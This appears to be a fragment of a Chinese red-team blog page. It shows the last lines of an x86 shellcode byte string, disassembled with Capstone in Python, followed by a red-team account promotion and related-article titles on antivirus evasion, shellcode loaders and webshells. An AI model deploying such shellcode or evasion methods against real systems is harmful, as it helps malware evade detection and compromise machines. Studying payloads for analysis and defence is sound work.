shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68"
shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

更多好玩的红队工具,技巧,请关注公众号Gamma实验室

红队免杀培训第一章-不可执行的shellcode相关推荐

  1. 模拟对抗之红队免杀开发实践

    在模拟对抗过程中,"初始访问"阶段的一个关键挑战,就是绕过企业端点上的检测和响应能力 (EDR).由于商业的c2框架向红队队员提供的是不可修改的shellcode和二进制文件,所以 ...

  2. 红队大杀器 Behinder_v4.0(冰蝎4.0)

    Behinder_v4.0 GitHub : https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.0 修复 1.修复了在zimb ...

  3. 第一章 CLR执行模型

    发现看过好几遍还是会忘记,因水平有限理解的不是很到位.欢迎各位大神及时指正. CLR执行模型 1.1编译器将源代码编译成托管模块 托管模块:是标准的windows可移植执行体文件(PE32(32位机器 ...

  4. 红队培训班作业 | 免杀过360和火绒 四种方法大对比

    文章来源|MS08067 红队培训班第12节课作业 本文作者:汤浩荡(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 环境准备: Kali linux安装cs4.2,Windows7系统安装 ...

  5. 【转】RFire系列免杀教程

    RFire系列免杀教程第1到20课 RFire系列免杀教程, 木马免杀 文件名称:       [原创]RFire系列免杀教程第1课.rar 文件大小:       41.16MB 文件类型:     ...

  6. windows opensshd 连接就close_基于Windows白名单执行Payload上线Metasploit 渗透红队笔记...

    渗透攻击红队 一个专注于红队攻击的公众号 大家好,这里是 渗透攻击红队 的第 17 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深), 不出意外每天一更 基于白名单绕过 测试环境 攻击机 ...

  7. 【黑客免杀攻防】读书笔记1 - 初级免杀基础理论(反病毒软件特征码提取介绍、免杀原理、壳)...

    在52pojie发表<xxxx>病毒查杀的帖子后,感谢论坛里的会员GleamJ牛不但指出我文章后所添加服务名字符串作为特征码方式的不足,还分享了他工作中4种提取特征码的方法.让我更加觉得要 ...

  8. python加载shellcode免杀 简介

    目录 前言 0X00  基础概念 1. python ctypes模块介绍 2. dll动态链接库 3. pyinstaller 4. shellcode 5.关于windows defender 6 ...

  9. 关注木马是如何免杀的

    最近自己的正当程序老被杀软查杀,特此准备学习免杀. 第一部分:对国内外杀毒软件分析 在讲定位内存特征码前,先要分析国内外著名杀毒软件的内存查杀特点.大家在使用木马过程都会发现,内存查杀,一般都指得被瑞 ...

最新文章

  1. 识别哈希算法类型hash-identifier
  2. MicroPython开发板:TPYBoard v102 播放音乐实例
  3. 《好未来编程题》字符串中找出连续最长的数字串
  4. 如何提升python编程能力_Python编程小白如何提升自己的编程能力
  5. 可以接收数量不定的参数的函数
  6. JAVA:基础递归算法大杂烩
  7. 【ACwing 95】费解的开关——枚举 + 搜索
  8. iOS底层探索之多线程(十六)——锁分析(NSLock、NSCondtion、NSRecursiveLock、NSCondition)
  9. 7. keras - 模型的保存与载入
  10. intel h61 linux驱动下载,IntelIntel DH61AG BIOS 0022.BI主板驱动官方正式版下载,适用于dos-驱动精灵...
  11. 【剑桥摄影协会】伽马校正(Gamma)
  12. 【JAVA】家庭记账系统
  13. android 小米盒子开发,接小米盒子Android SDK
  14. 剑侠 java_独孤求败-剑侠情缘
  15. [CTSC2010]珠宝商(点分治+根号分治+后缀自动机)
  16. 算法竞赛---day1(等差素数列)
  17. 联想笔记本更换固态硬盘和重装系统
  18. 怎么做网线,网线水晶头接法和线序(图文详解)
  19. Linux source文件后提示 export:command not found
  20. Qt工程中如何添加.pri文件

热门文章

  1. Linux新手上路(六):文件打包和解压缩
  2. 开源IDS系列--【2015】获取snort vrt 规则(talo)
  3. python kivy显示图片_Kivy 图形界面开发初体验
  4. 【工赋开发者社区】面向智能制造全价值链的精益数字孪生体
  5. 强一致性、弱一致性、顺序一致性、最终一致性概述
  6. 科卡在线linux,典型建网方案之家庭内部网设计
  7. hbase_数据备份(导入/导出)
  8. 自助建站:凡科建站和PageAdmin建站系统的比较
  9. adreno源码系列(五)打开kgsl
  10. 特技世家出身导演史考特沃夫亲上阵搏命悬空摄影